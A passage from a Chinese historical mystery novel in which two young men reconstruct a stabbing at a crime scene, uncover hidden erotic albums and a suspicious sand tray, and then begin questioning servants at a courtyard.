片刻后,宋旌起身,缓缓迈出步子。 “魏子谦遇袭,应当在此。”宋旌指着书案左侧最浅的一处脚印,“遇袭后,他似有过短暂的迟疑,故而脚步踉跄,向后退了几步,”宋旌的目光随着他的话,从书案左侧的血痕一路移动至书案后侧,脚下也模仿起魏凡生前的步伐,先是后退,再一步步走向书案后方,“退至此处,他又伫立良久,而后才缓步至书案前,”宋旌从柳悬的身前徐徐踱步至书案前,转身,再面朝书案,“他在案前坐下,不知为何,又猛然起身,脚步凌乱,向旋梯急奔而去,”宋旌大步流星地走向旋梯,脑海里频频闪过魏凡生前的画面,那急促、不安的动作仿佛与魏凡生前的慌乱如出一辙。 当宋旌抵达左侧的旋梯时,他的目光被墙上一个不完整的血手印所吸引,他顺着血手印向上望去,只见一根细长的绳索悬挂在精巧的机关之上。 “他当时,想必正要触动机关,”宋旌的视线从墙面上缓缓移下,最终定格在右侧的沙盘上。沙盘内,一部分沙地微微向下凹陷,勾勒出一个模糊的人形,“就在他拉动绳索的一刹那,他突然无知无觉,直挺挺地倒了下去,没有一丝挣扎。” 说到这儿,宋旌的思绪好像被无形的蛛网给紧紧地缠绕住了,他深陷于由重重谜团所编织的罗网之中,越发难以窥见魏凡身上 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宋旌的眼中闪过一丝慌乱,出于身体的本能,他急忙扶住身后的书案,不明就里,一脸警惕,看向如同被邪祟附身的柳悬,心跳陡然加快,只觉得口干舌燥,情不自禁地咽了好几口唾沫,柔声唤道:“长青?” 柳悬不答,忽尔展开双臂,在没有一点征兆的情况下,将宋旌紧紧拥入怀中。 与此同时,柳悬的手中握着一支不知从何处取来的笔,笔尖闪烁着寒光,猛然间在宋旌的背上狠狠地扎下,留下一点火辣辣的痕迹。 柳悬这一连串的动作快如闪电,令宋旌先是感到一阵刺痛,继而又被柳悬那溢满清香的怀抱弄得头晕目眩,顿时,心中五味杂陈,脑海中仿佛瞬间点燃了一束绚丽绽放的烟火,“轰”然炸开,思绪乱成一团,留下一片混沌与迷茫。 正当宋旌满脑子浆糊、茫然而手足无措之际,柳悬那清冷的声音倏尔在宋旌的耳畔响起:“宋公子为何不反抗?” 宋旌一惊,微微一怔,眼前卒然闪过一个模糊的画面,画面迅速消散,只余下一片空白。 宋旌的思绪尚未完全理清,柳悬已然再度出手。 这一次,柳悬的右手牢牢地搭在宋旌的左肩上,他暗中施力,试图将宋旌压倒在书案的左侧。 宋旌意识到柳悬此举可能是在验证心中的某个猜想,他不敢贸然反抗,只得紧绷全身的每一块肌肉,好似一张拉满的硬弓,蓄势待发,双腿绷得如同两道弯弯的新月,脚跟高高悬起,顺着柳悬施加给他的力道,缓缓向后躺去。 “右手,寻物,刺我。” 柳悬的命令短促而简洁,声音冷冽而坚定,他弯腰俯身向前,整个身子紧紧压在宋旌的上方,与宋旌面面相对,呼吸交缠,双手手肘稳稳撑在宋旌耳侧,身体的重量均匀地分布在双肘上,两人的身影几乎不留一丝缝隙地贴合在一起,仿佛要融为一体。 宋旌依言行事,伸出右手,在书案右侧的杂物间胡乱摸索,指尖所及之处皆是一片柔软,直至宋旌触碰到一根又长又硬的象牙扇骨时,他猛地向前一刺,却在即将触及柳悬的那一刻,动作一顿,最终只是轻轻落在柳悬的身上。 柳悬被宋旌“扎”中背部时,眼神瞬间变得复杂莫测,他看了一眼胸口,又看向身下的宋旌,脸上显露出“不可置信”的表情,好像他真的被宋旌的所伤。 柳悬的眼神极其逼真,以至于宋旌的心头一凛,心底升起一股寒意,他下意识地缩回手,目光紧紧地锁定在柳悬身上。 只见柳悬用手紧紧捂住胸口,动作略显迟钝,仿佛从梦中惊醒,缓缓起身,后知后觉,踉跄后退,像是刚刚才意识到发生了什么,满眼惊愕,凝视着自己胸前那并不存在的“伤口”,如雕塑般,伫立在原地。 随后,柳悬迈着沉重的步伐,一步、一步,走向书案,而后缓缓落座在圈椅上。 “嘀嗒。” “嘀嗒。” “嘀嗒。” 此刻,柳悬似乎能听见血液滴落在木板上的声音,那声音在寂静的房间内显得格外清晰,宛如死亡的倒计时。 柳悬坐在那一半空旷、一半凌乱的书案前,视线从左往右,逐一扫过书案上的每一个物件。 ——魏凡当时坐在这里,究竟意欲何为?难道仅仅是因为身负重伤,所以才不得不停下来,稍作喘息? 柳悬的眸子忽明忽暗,恰似深渊中沉睡的巨兽,在一呼一吸之间,散发出神秘的幽光。 直到柳悬的目光从书案右侧的茶杯上轻轻划过,他的瞳孔陡然一缩,犹如被针尖猛刺了一下。 ——就是它! 宋旌注意到柳悬眼神的变化,顺着他的目光看去,正好看见茶杯上沾染了一抹鲜红的血迹。 “所以,魏子谦当时最先做的事,不是求救,而是喝水?”宋旌恍然大悟,语气中带有几分骇然。 柳悬从袖中抽出一把银刀,将刀尖没入茶水中,然而刀身依旧光洁如新,没有丝毫变化。 接着,柳悬又端起茶杯,放在鼻下细细嗅闻,亦察觉不出任何异样。 “诚如宋公子所言,”柳悬的声音低沉而平稳,“据当夜亲眼目睹魏子谦毙命惨状的侍从所述,他们正是在那盘旋而上的楼梯转角处,发现了他的踪迹。彼时,魏子谦披头散发、衣衫不整,以一种极其狼狈的姿势,趴伏于脚下的木板上,头颅偏向一侧,双眼圆睁,面容扭曲,已然再无生机。” 说罢,柳悬从书案后缓缓起身,踱步至宋旌身旁。 在经过宋旌身侧时,柳悬从怀中抽出一叠密密麻麻、写满字迹的纸张,轻轻拍在宋旌的胸膛上。 宋旌接过那一叠纸张,指尖在触碰到纸面的瞬间,心中一阵恍惚——原来柳悬不仅在宿卫中安插了他的人,还让连松以他的名义,提前录好了与此案密切相关之人的口供,甚至随身携带,就像他早已深思熟虑,决心介入此案。 纸张在宋旌的手中微微颤抖,仿佛承载着太多的秘密与重量。 宋旌凝视着手中的证据,心中泛起一阵复杂的情绪:柳悬到底是早就算准了今晚可能发生的一切,未雨绸缪?还是原本就打算孤身涉案、独自去应付种种未知的风险,而自己只是无意间碰巧闯入了他的计划? 宋旌也琢磨不透。 31.蒋礼 宋旌手中紧握的那份供词,相比于大理寺问事官那简略的记录,其内容详实得惊人。 那上面几乎记录着每一个人,在魏凡被刺当夜,其所行、所见、所闻之事,每一页都像是一幅精心绘制的画卷,逐渐在宋旌的眼前呈现。 侍从们的供词像是一把钥匙,打开了通向那一夜的大门。通过这些文字,宋旌仿佛置身于事发当晚: 灯火摇曳,人影幢幢,耳边回荡着慌乱的脚步声和急促的呼喊声。 宋旌能清晰地想象出每一个场景,每一个细节,从不同的视角,真切地窥见当夜那纷乱如麻的场景。 “莫非,有人趁院中走水,伺隙潜入魏子谦房中,加害于他?继而借乱,混于喧嚣的人群内,隐匿行踪?” 宋旌看完柳悬递给他的供词,只觉得头脑发胀,无数的声音与线索在他的脑海中交织成一团。 眼前的画面支离破碎、混乱不堪,让宋旌感到一阵头晕眼花,仿佛自己也同他们一样,身陷其中、无法抽离。 柳悬站在一旁,听见宋旌的话,犹如当头一棒,眉头不自觉地皱起来,他只觉得自己刚才那一下,还是扎得太轻! 柳悬本以为,他已经将所有的线索都明明白白地陈列在宋旌面前,几乎就要指名道姓地告诉对方:魏凡正是被蒋礼所伤。 然而,他没想到,宋旌仍执着于另辟蹊径,似乎不愿意接受那显而易见的事实。 “能伤魏凡者,唯有蒋礼一人。”柳悬的脸色骤然阴沉下来,眉心越蹙越紧,语气中夹杂着一丝不悦,他无可奈何,对宋旌的固执己见,貌似感到十分费解。 柳悬摇了摇头,仔细搜寻书案四周是否仍有遗漏的线索。 他的手指轻轻翻动起散乱在地上的书卷与信笺,同时在书案上翻找着与魏凡习性相关的物件,试图从魏凡的遗物中找出更多的答案。 “为何非他莫属?还是长青心中已有所筹算?魏子谦实乃蒋礼所杀!?”宋旌心中不由得一紧,他忐忑又困惑,紧紧地跟在柳悬的身后,探头探脑,急切地想要寻求一个肯定的答复。 为了帮蒋礼翻案,宋旌已经在他的脑海里,将蒋礼除名。 如今,在宋旌的眼中,蒋礼就等同于一颗弃子,是幕后真凶的替罪羔羊,一个被冤枉的受害者。 因此,宋旌自然不会轻易接受这样的结论,将不利的证据再次推向蒋礼,而是努力寻找除蒋礼以外的其他可能。 “我且问你,”柳悬忽然停下脚步,他转过身,面朝宋旌,神色深沉,既随意又郑重地问,“我方才刺你,你为何不避?亦不反抗?莫非……是你轻视于我,以为我不足以防备?” 柳悬问得突然,宋旌事先没有任何的准备。 他不假思索,本想斩钉截铁,毫不犹豫地回一句:“自是因我信你绝不会加害于我。” 但是转念一想,宋旌又猛然意识到柳悬提这个问题必然另有深意,于是他冥思苦想、反复斟酌……甚至将他与柳悬的关系代入行刺者与魏凡之间。 忽而,他的脑海中灵光一现,一片混沌的眼神也随之一亮,无比诧异道:“长青所言,可是暗指能伤魏子谦者,必是其心腹至交?可以托付生死之人!?” 柳悬倒是没有料到宋旌能想到这么深的层面,虽然他也想暗示凶手与死者间的关系匪浅,甚至有意引导宋旌将他俩的关系浅浅套用在死者身上,但是他万没有料到宋旌会用“心腹至交”与“托付生死”这样的词来描述他俩的关系。 柳悬清了清嗓子,眼底掠过一丝仓促的羞赧,轻声纠正道:“此言差矣,未可一概而论,也许是最令他意想不到之人,亦无不可。” 柳悬匆忙回身,衣袂轻拂,信步迈向右侧的食案。 食堂上,酒水倾洒,酒杯七零八落地倒在一片狼藉的残羹冷炙间,桌上仅放置着两幅碗筷,碗筷旁,几副展开的药包内仍残留着花花绿绿的粉末,确如蒋礼堂上所言。 宋旌一手叉腰,另一手则搔乱了束成一束的发丝,抓歪了头上的发冠,心情显得颇为烦躁。 他实在是想不明白,为何柳悬偏偏会认定蒋礼是那个最令魏凡意想不到的人。 “若论符合长青所言者,又岂止蒋礼一个?”宋旌绞尽脑汁,努力回想魏凡身边的可疑之人,急切道,“譬如,那争风吃醋的含光、娇艳痴情的含春、居心叵测的美妾,哪一个不是轻而易举,便能接近魏子谦的人?为何长青直接断言,此人必定是蒋礼?” 宋旌这一次,始终无法参透柳悬的弦外之音。 柳悬绕过杂乱的食案,径直走向寝居的东北角。 “单凭臆测,断然无法坐实蒋礼便是刺伤魏子谦的真凶。”柳悬在应对宋旌的质疑时,显得十分从容,就像他已经提前料到宋旌不会轻信,继而反问道,“以宋公子之见,此人需以何种姿势行刺,方能在刺中魏子谦时,令其前胸与袖口同时沾染上大量喷溅的血迹?” 经柳悬点拨,宋旌神色一凛,不禁陷入深思。 在宋旌的记忆里,以魏凡比武时的水准而言,若是寻常人想要手持刻刀,从正面突袭于他,简直是痴人说梦,绝无可能得手。 更何况,柳悬此前已然仔细查验过魏凡的尸身,尸体上,伤痕特征明显,呈现出前窄后宽之状,显然凶器不可能是从魏凡的正面刺入。 此人,在行刺时,既要避免引起魏凡的注意,又要确保手中刻刀的刀尖向上,可以形成自下而上的伤势。 那他唯有从魏凡的身后…… 宋旌心中暗自推演,脑海中浮现出各种可能的场景,当他设想出此人于魏凡身后将刻刀刺入魏凡的体内时,宋旌却猛然摇了摇头。 不,不对…… 倘若此人当真从魏凡的身后偷袭,先不说此人在靠近魏凡时,便很容易引起魏凡的察觉,无法一击即中,就说他哪怕侥幸一下刺中了魏凡的心脏,魏凡的血迹也只会喷溅在此人的面门与前襟,而不是大量喷溅在此人的胸口,除非此人的身高极高,亦或是此人的力量极强,否则此人为了便于施力,定然会本能地躬身俯首,作出奋力向前一刺的姿态。 因此…… 宋旌踱步至书案左侧,目光在斑驳的血迹上停留片刻,他回想起柳悬方才那一系列令人不解的动作。 无论是突如其来的拥抱,还是紧随其后的推压,这些不同寻常的举动,在宋旌的脑海中不断地闪现。 “莫非,”宋旌略显迟疑,“他是将魏子谦揽入怀中,趁其不备,再从其身后,突下杀手?”宋旌稍稍停顿了一下,眉间微显困惑与挣扎,仿佛他也无法说服自己相信这一番推论,只得继续向柳悬求证:“纵使此人能与魏子谦亲密相拥,长青又如何能认定此人必为蒋礼?” 柳悬闻言,并未即刻作答,他走向书案左侧,目光落在那堆奇形怪状、用途不明的椅子上。 这些椅子形态各异。 有的椅子宛如波浪般高低起伏,要么只有几根光秃秃的木架子;要么就分为上下两层,上层短小、下层宽阔,分别铺上柔软的垫子,仿若一艘小船。 有的则形似矮小的木马,其中一些木马的额顶会生出奇怪的长角;而另外一些木马的脊背也会有高高隆.起的部分。 此外,还有一些椅子,像蜈蚣或蜘蛛一样,坐垫周围环绕着许多的扶手,更有一些椅子,像蝴蝶或蜻蜓一般,被高高地悬挂在半空中。 椅子间,垂挂了许多长长的绸缎,有的绸缎坠满清脆的铃铛,有的则缠绕着冰冷的铁环,发出沉闷的声响。 “宋公子可曾留意,”柳悬于一个个诡形怪状的椅子间悠然穿梭,他发现椅子上都有磨损的痕迹,有些被绳索摩擦过,有些则挂有细碎的线头,还有一些软垫与木材上烙印着明显的烫痕,“今日,在公堂上,何御史命官差呈递的证物中,那件血衣有何不同寻常之处?” 柳悬见宋旌又紧跟而来,他不等宋旌回答,便自顾自地说道:“那血衣上,一共有三处血迹,分外醒目,前两处,分别位于蒋礼的袖口与前胸,呈现出喷溅状,至于那第三处……” 话至此处,柳悬身形一转,恰好瞥见宋旌正欲伸手触摸其中一把椅子的软垫。 柳悬眉心一皱,他骤然抬手,在宋旌那白皙的手背上狠拍一下,留下一道火红的印记。 “这最后一处,虽同样位于前胸,但更为隐秘,需用心观察,方能在深浅不一的血迹中发现那几滴点滴状血迹。”柳悬瞪了宋旌一眼,眼中既有无奈与嗔怪,又有不满与警示。 宋旌微微一怔,很快便意识到自己的行为欠妥,他连忙缩回手,用委屈的眼神向柳悬不住地讨饶,脸上也不自觉地浮现出一抹歉意。 在确认宋旌领会了他的用意,不会再轻举妄动后,柳悬才迈步,走向寝居北侧的床榻。 “点滴状血迹?”宋旌一边低声重复着柳悬的话,一边轻揉刺痛的手背,他的思绪像是被堤坝拦住的湍流,再一次陷入了困境。 就在他百思不得其解时,耳畔又回响起柳悬唤他,让他刺向自己的声音。 忽而,在宋旌的脑海中,顿时闪过一线灵光,一个大胆的猜测如一束闪电般划过他的心头。 刹那间,含春与蒋礼的身影在宋旌的记忆里逐渐重合,他突然明白过来:刺伤魏凡的人只能是蒋礼,只因蒋礼仅有亲手持刀刺伤魏凡,他的袖口与前胸才会沾染上喷溅状的血迹,同时,蒋礼在刺伤魏凡后必然躺于魏凡身下,否则他的前胸绝无可能留下点滴状的血迹。 宋旌犹如醍醐灌顶、拨云见日,他在震惊之余,忍不住凝望向若无其事的柳悬。 他眉眼微动,心中不禁涌起一股难以言喻的恶心,他实在无法想象……蒋礼与魏凡之间……竟然还隐藏着那样一段肮脏且不堪的关系!? “可是……” 宋旌欲言又止,他只觉得狭窄的喉咙间像是卡了一块石头,有些事,让他当着柳悬的面去戳破,他着实是说不出口。 柳悬面沉如水、不苟言笑。 他伸出一只修长的手,轻捻起魏凡榻上遗留的粉末,视线掠过被褥间散落的几张黄色的油纸,最终落在宋旌那张写满困惑的脸上。 见宋旌沉吟不语,迟迟不肯开口,柳悬的嘴角不禁扬起一抹转瞬即逝、意味深长的笑意,“我猜宋公子心中必定存疑,既然两厢情愿,又为何会拔刀相向?” 柳悬微挑眉梢,一语道破魏凡与蒋礼之间那一层隐秘莫测的关系。 他面色如常,跪俯在魏凡那凌乱不堪的床榻上,伸手探入魏凡的枕下,从中抽出几本被魏凡藏得严严实实的书册。 宋旌缓缓点头,目光却紧紧锁在柳悬的身上,他见柳悬的膝盖压在那满是污秽的床褥上,就像一颗晶莹剔透的明珠不慎掉落在泥泞不堪、散发恶臭的泥潭里,宋旌的心中竟涌起一种奇异的感觉。 此刻,在接受了魏凡与蒋礼那秘而不宣的关系后,联想到魏凡生前与蒋礼的所作所为,宋旌的脑海中光是闪现出魏凡那张龌龊的嘴脸,便觉得胃中一阵翻涌,不适感愈发强烈,如汹涌的潮水般,向他猛烈袭来,几乎要将他彻底淹没。 那股难以遏制的厌恶之感仿若一条吐着信子的毒蛇,蜿蜒盘旋在宋旌愈发躁动的心底。 宋旌不能容忍柳悬与魏凡的贴身之物有所沾染,他心生不满,脚下生风,突然大步流星,向柳悬疾行而去。 柳悬此时正全神贯注,翻阅着刚得到的几本书册。 他的视线随着指尖,不停的跳动,在不同的书页间迅速游走,就像灵动的游鱼在一行行文字间自如穿梭。 起初,柳悬神色还很平静,他丝毫未曾察觉到手中的书册有何异样,只是随意翻阅了几下。 然而,当柳悬的目光落在一本空无一字的书册上时,他却卒然愣住了。 只见那书册上,竟用丹笔青墨,栩栩如生地勾勒出一幅幅震撼人心的巫山风雨图。 在那精心描绘的图画上,柳悬看见有高耸入云、仿若直插天际的巫山,那夸张而巨大的山峦上,有狂风呼啸而过,有骤雨决堤而下,其势汹汹,其声呜呜,仿佛能席卷天地、摧枯拉朽…… 柳悬的目光停在画册的某一页上,只见那画中人正是不久前在落霜院门口刚见过的眼前人。画中还有一妙龄女子,女子身穿晶莹剔透的轻纱薄丝,宛若仙女坠凡,可见作画者的绘画功底不可谓之不凡。 然而,哪怕画师将笔下的场景画得再活色生香、鱼水尽欢,也掩盖不住线条下的阴森与扭曲,宛如人间炼狱一般,叫人看了不禁浑身一颤,一股恶寒从脚底直窜上心头。 转瞬间,柳悬的瞳孔急剧收缩,好似两颗黑色的宝石瞬间被黑暗吞噬,脸色也由白转青再转红。 柳悬意识到那些书册绝非常物,他急忙在宋旌抵达身侧前,迅速将手中书册尽数收入袖中。 “此问,我亦无法解答。”柳悬的声音依旧平静,但他的手指微微颤抖,脸上也浮现出一抹火烧般的赤红,未褪的红潮从柳悬的脸颊一路蔓延至全身,柳悬就像是被一把火点着了似得,整个人都在燃烧。 柳悬强装镇定,他不动声色地与宋旌擦肩而过,而后径直走向寝居西侧,步伐沉稳却不失急促。 宋旌的目光牢牢钉在柳悬身上。 他一脸狐疑,步伐紧凑,紧紧跟在柳悬身后,柳悬向前迈出一步,宋旌便紧跟着向前走一步,柳悬向后挪动些许,宋旌也丝毫不落,紧紧相随。两人之间,仿佛有无数无形的丝线牵引,亦步亦趋,无法割舍。 宋旌一路跟着,紧随局促不安、心慌意乱、像是害怕被人发现了什么不可告人的秘密的柳悬之后,走至西侧的木架之前。 此时,屋内光线昏暗,几缕微弱的月光从狭小的窗棂缝隙中艰难挤入,在地面上洒下一片模糊不清的光影。 四周静谧,唯有宋旌与柳悬的脚步声在这一方寂静中回荡,每一步都似踏在紧绷的 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“我……”宋旌的话音戛然而止,他在心底暗暗将魏凡骂了个狗血淋头,眼中悄然闪过一丝慌乱,他生怕柳悬察觉到自己的异样,更不愿让柳悬瞧见魏凡房中的腌臜之物,只想将柳悬的视线引去他处,“我突然忆起一可疑之处,想请长青一同去探查。” 宋旌无暇多想,他急中生智,随口编织了一个看似合理的理由,企图将柳悬从木架前支开。 柳悬谨慎地观察着宋旌,将他的一举一动收入眼底,当他发现宋旌并未注意到他隐藏于袖袋中的书册时,他暗自松了一口气,一张紧绷的脸终于缓和下来,慢慢放下紧拽着衣袖的手,“有话便说,何须一直尾随于我?” 柳悬刚刚松下那根紧绷的神经,正欲查看木架上的物品,却在同一瞬间,感到一阵紧迫的气氛笼罩而来。 宋旌心急如焚,一个箭步,几乎与柳悬同时迈步,猛地跨到柳悬面前,动作果断而坚决,如一座巍峨的山峰,以一种强势的姿态,挡住了柳悬的视线。 “那可疑之处不在此地,长青可否随我移步他处?” 宋旌话音未落,他不容分说,还不等柳悬反应过来,就抓住柳悬的手腕,强行将柳悬拉至旋梯处。 柳悬被宋旌这一系列奇怪的举动弄得措手不及、面红耳赤。 他踉跄地跟在宋旌身后,发出不满的警告声:“有话直说,休要拉拉扯扯。” 柳悬试图挣脱宋旌的束缚,却在挣扎反抗间,一不小心,踢中了旋梯旁的签筒。 那签筒应声倒地,里头的玉签子如同散落的珠玉般,“叮铃当啷”,发出一阵清脆悦耳的碰撞声。 “此为何物?”柳悬的目光被靠墙而立的签筒所吸引,不由自主地发问,语气中满是好奇与探寻。 此时,宋旌的一只脚已经踏在旋梯最上方的一级台阶上,那刻不容缓的步伐因柳悬的询问声而微微一顿。 宋旌转过身来,顺着柳悬手指的方向看去,落在倾倒的签筒上,眼中闪过一丝了然。 “此乃军中将领宴饮时,盛行于席间的一种雅戏,名曰‘三刃分域’,”宋旌松开柳悬的手腕,任由柳悬挣脱,耐心地向他解释道:“常于吃酒时,用以助兴、消遣漫长光阴。” “三刃分域?”柳悬的身形一沉,便蹲下身去,他用手指轻轻触摸着沙盘中被压得紧实的沙粒,触感细腻而坚实。 柳悬的眼中满是好奇与陌生,他此前从未听过,亦未见过此物,心中不免充满疑问。 宋旌从签筒中抽出一根玉签,他的指尖轻旋,签子便在他的指尖转动,在月光下泛着温润的光泽。 宋旌掂量了两下,缓缓开口道:“这游戏类似于下棋,”宋旌一边解释,一边用另一只手示意,“游玩时,需分正反两方,犹如两军对垒。在军中,将士们往往会寻一处平整且湿润的泥地,在空地上,以利刃刻画出一方正之域,复将其自中间一分为二,剖分为两块均等的领地。” 宋旌顿了顿,将手中的玉签指向脚下的沙盘,“然而,魏子谦别出心裁,不愿屋内出现漆黑的污泥,竟以实沙为域,在游玩时灌以少量清澈的泉水,使细沙凝结成块,故而无法使利刃插.入.而不倒,只得以轻便的玉签代之。” 说着,宋旌把玩着手中约有五寸长的玉签子,玉签在他的手中灵活翻飞,犹如轻盈的绸带,快得只能看见签子两端在凌空划破时留下的残影。 “备好场地与器.具后,双方立于沙盘两端,需以招手令决胜负,胜者可先择一侧为领地,并获得执利刃扎地的先机”宋旌的声音沉稳而带有几分引人入胜的激昂。 宋旌手执玉签,立于沙盘左侧,他面朝柳悬,眼神专注而坚定,仿佛化身为一位久经沙场、锐不可当的将军,正屹立在烽烟四起、战鼓不息的沙场上。 “执此利器,”宋旌扬起一只手臂,动作沉稳而有力,犹如沙场点兵,随时准备发布指令般,开始详细讲解游戏规则,“需以拇指、食指与中指紧握利器一端,将利刃朝下,瞄准所选之地,果断掷出,刃入地中而不倒,方为得手。” 宋旌执刃演示道:“先手之人,须于己方领地内,连扎三下。皆得手者,方能获得一次于敌方领地内扎刃的机会。若在扎刃途中,刃未稳而先倒,则换由敌方执刃扎地,规则依旧。” 宋旌的话像是一颗颗石子,被人投入平静的湖面,在湖面上激起一圈一圈涟漪。 “一旦执刃者在敌方领地内成功扎刃,便可循着刃尖所指的方向,画出一条清晰的分界线,将敌方领地一分为二,”宋旌蹲在沙盘一侧,用手中的玉签,在沙盘上划出一道细线,“成功扎刃者,有权令敌方在其领地内择一而守,余下皆归扎刃者所有;扎刃者以刃抹除新、旧领地间的界限,领地由此得以扩张。” “游戏期间,敌我双方,轮番上阵,执刃扎地,以相似之法,求疆域之增,如此更迭、往复,直至其中一方的领地逐步缩减至两指之宽,则游戏终止,战争方休,而领地尽失者,即为败者。” 宋旌言罢,手指轻轻一拋,手中的玉签划破空气,仿佛拥有了生命,沿着一道完美无瑕的弧线飞出,“嗖”地一声,扎入沙地。 然而,令人诧异的是,那只玉签只是浅浅没入沙中不足两寸,似乎在触地时被一股无形的力量所阻。 柳悬心中一动,随即疑窦丛生,他俯下身子,仔细查看那根插入沙地的玉签。 当柳悬拔出玉签,瞧见玉签底部沾染的一层湿泥时,柳悬的脸色突变,眼中闪过一丝惊愕。 柳悬抬起头,目光与同样茫然不解的宋旌交汇。 “这是……”宋旌眉心紧锁,显然他也没有料到沙盘下居然还铺了一层湿泥,这实在是不合常理。 ——既然魏凡不惜重金,精心打造了一支支昂贵的玉签子,又特意为此修筑了如此宽阔的沙盘,还从遥远的沙漠中寻来上好的细沙,又怎会在黄金般干净、整洁的沙粒之下,铺就一层肮脏不堪的湿泥呢? 32.闺房 在踏出魏凡的小楼前,这个意料之外的发现,令宋旌与柳悬无暇他顾,心中充满了紧迫感,仿佛找到了迷宫的出路,又仿佛只是走到了下一个分叉路口。 昨夜,返回风斋时,正逢打更人敲响四更天的梆子。夜色深沉,四周静谧得令人心慌,仿佛整个世界都笼罩在一片未知的阴影里。 回到各自的居所后,宋旌躺在床上,辗转反侧、难以入眠,他的思绪如一匹脱缰的野马般,在过往的种种经历与这几日的风云变幻中肆意奔腾,无法停歇。 月光通过窗棂,洒在他的脸上,映出他紧锁的眉心与满眼的焦虑。 宋旌意识到,自己在这一场没有硝烟的战争中,始终处于被动的地位。尽管他好像已经卷入了朝堂的漩涡,但是他仍然是一个无关紧要的局外人,只能窥见冰山的一角。 这场权力的游戏中到底潜藏了多少股暗中较量的势力? 顾邕真正的计划到底是什么? 魏凡一案到底隐藏了什么扑朔迷离的真相? …… 这一个个问题,将宋旌这枚棋子困在四四方方的棋盘上。 宋旌只觉得四周覆盖着一层难以穿透的迷雾,他仿佛置身于一个巨大的棋局之中。 他数不清周遭有多少颗棋子,也分辨不出每颗棋子背后的执棋者是谁,更看不清自己前方的方向。 他心中唯一清晰的信念,便是要力挽旗国于狂澜之中。 然而,他也明白,大厦将倾时,仅凭拉拢一个可有可无的蒋聪,还远远不足以改变未来。 他必须抢在顾邕举兵造反、弑父杀兄之前,搜集到足以将顾邕及其党羽连根拔起的证据,彻底铲除掉顾邕这个令人头疼的隐患才行! 只是…… 说起来容易,做起来……又谈何容易。 宋旌不论重活多少次,都无法改变他久离朝堂的处境。 如今,宋旌想要在不惊动宋言章的情况下暗中调查,都是泥中跋涉,极为费劲。 更何况,他要搜寻的,是皇子与朝臣勾结谋反、弑君夺权的惊天秘密,那无疑是火中取栗,稍有不慎,便有可能引火烧身。 就这样,宋旌在混沌的梦境与现实的边缘不断地徘徊,一两个时辰悄然流逝。 直至黎明的第一缕光线穿透夜色,将宋旌从那不踏实的睡梦中唤醒。 宋旌终是无法再安然卧于室内,他毅然起身,提枪而去,逐渐消融在东方刚升起的那一线鱼肚白中。 今日,柳悬显然比往常起得更早。 早膳时分,众人围坐,饭香四溢,而桌上的碗碟尚未来得及撤去,柳悬便已经抬手制止了众人忙碌的身影。 当着宋旌的面,柳悬逐一向丹良、连松与飞雪分派了不同的任务。 相较于丹良与连松那仿若背负了千钧重担般错综复杂的任务而言,飞雪所领受之事就似闲庭信步般轻松简单。 柳悬只是让飞雪以他的名义去博文馆借阅古籍时潜入四楼的库房,从学博往年积压的课业中,去寻几幅近年来出自于蒋礼之手的画作; 而丹良则需要凭借他替宋旌多年迎来送往、操持琐事的人脉,从茫茫人海中寻找出当年为魏凡修筑沙盘的匠人; 至于连松,他的任务最为艰巨,他需要替宋旌去一趟户部,从英才院当年奉命上报的卷帙中,查清魏凡院中每一个人的家世背景是否与其供词丝丝入扣、一一对应。 起初,当丹良瞧见柳悬向他理所当然地发号施令时,他下意识地撇了撇嘴,心中仍有几分不乐意。 毕竟宋旌才是他名正言顺的主子,他可不会像连松那般,对柳悬这个寄宿在宋家且与自家主子常年为敌的外人言听计从,轻而易举,便“改旗易帜”。 可谁料,柳悬只是坐在那儿,朝身侧的宋旌淡淡一瞥,未等丹良的不满在心中发酵成型,如忠犬一般的宋旌已先行“投诚”,主动为柳悬发声,让丹良务必要好好配合。 丹良不解,又偷偷瞅了宋旌一眼,他虽对此心有不甘,但是一想到柳悬此举或许也是为了救自家主子于水火之中,他只能咬牙忍下心中不适,点头应允。 交代完各项事宜,柳悬毫不留情地驳回了宋旌去大理寺提审蒋礼的想法。 当宋旌被柳悬不由分说地强行带至落霜院时,宋旌盯着落霜院院门前那一块泛着金光的匾额,露出了幽怨又不解的神情。 在宋旌看来,除了那沙盘下的湿泥与精致的玉签格格不入,隐隐散发出丝丝诡异的气息外,昨日柳悬明明已经驱使连松将魏凡一案的相关人员尽数盘问详尽,昨夜两人更是像细密的篦子梳理毛发一般,把现场的可疑之处皆细细搜查过一遍,甚至推断出蒋礼刺伤魏凡的全过程。 既然所有明面上的线索皆指向那唯一有可能一刀刺死魏凡的蒋礼,那么他们为何不趁热打铁,抓住每一个千载难逢的时机,从蒋礼身上挖掘出更多至关重要的线索?反而要背道而驰,舍弃蒋礼这条看似一帆风顺的康庄大道,转而在这落霜院里徒劳无功,白白浪费光阴,与一群不相干的人虚与委蛇? 宋旌心中纷乱如麻,实在难以揣测柳悬那不可捉摸的心思。 “子沐有云,此亦一是非,彼亦一是非,戏台上,岂能由一人独揽风华?” 柳悬唇齿轻启,声线平缓,言语间似有暗藏的玄机。 柳悬勾起一抹淡笑,那笑容里好像蕴含着无尽的从容,似一缕清风,吹散了宋旌心头的愁云与犹疑。 宋旌怔了怔,随后似懂非懂,顺从地点了点头。 虽然他仍不能破解柳悬的深意,但是他依旧会无条件地选择信任,陪同柳悬一起踏入落霜院的大门。 此时,白日高悬于苍穹之上,将落霜院内每一个阴暗的角落都照亮得无处遁形。 阳光似细密的金纱,轻柔地洒落在每一个人的身上。 一路上,看戏的人络绎不绝,他们或坐或立,或笑或语,或昂首以观或窃窃私语,为原本沉寂如死水的院子平添了一派热火朝天的繁华假象。 柳悬端坐于轮椅之上,神色淡然。 宋旌则轻推轮椅,穿过熙熙攘攘的人群,直达魏凡的小院。 在两人的身后,轻红就像英才院里巡考的学博,一本正经,时刻警惕着宋旌的一举一动,生怕宋旌在大庭广众之下一时兴起,做出些不合规矩的事情。 留守于魏凡院外的宿卫在远远瞥见宋旌的身影后,忙不迭地迎了上来。 宿卫因宋旌的身份而心生顾忌,听闻他此番前来乃是为了向魏凡生前的近侍求证与案件相关的要事,又提前得到些风声,知晓宋旌已然获得大理寺少卿首肯,有权重查此案,故而丝毫不敢怠慢,连忙恭恭敬敬,将他们引至魏凡的院门前。 院门外,宋旌将柳悬的轮椅停在几级石阶前,轻红则跟在宿卫身后。 宿卫微微弓身,虚靠在那扇漆红的院门上,高举起一只手臂,用力地拍打着厚重的木门,口中连连高呼:“有人在吗?” 宿卫那粗犷雄浑的声音穿透了由秦砖汉瓦筑成的院墙,在幽静的小院中久久回荡。 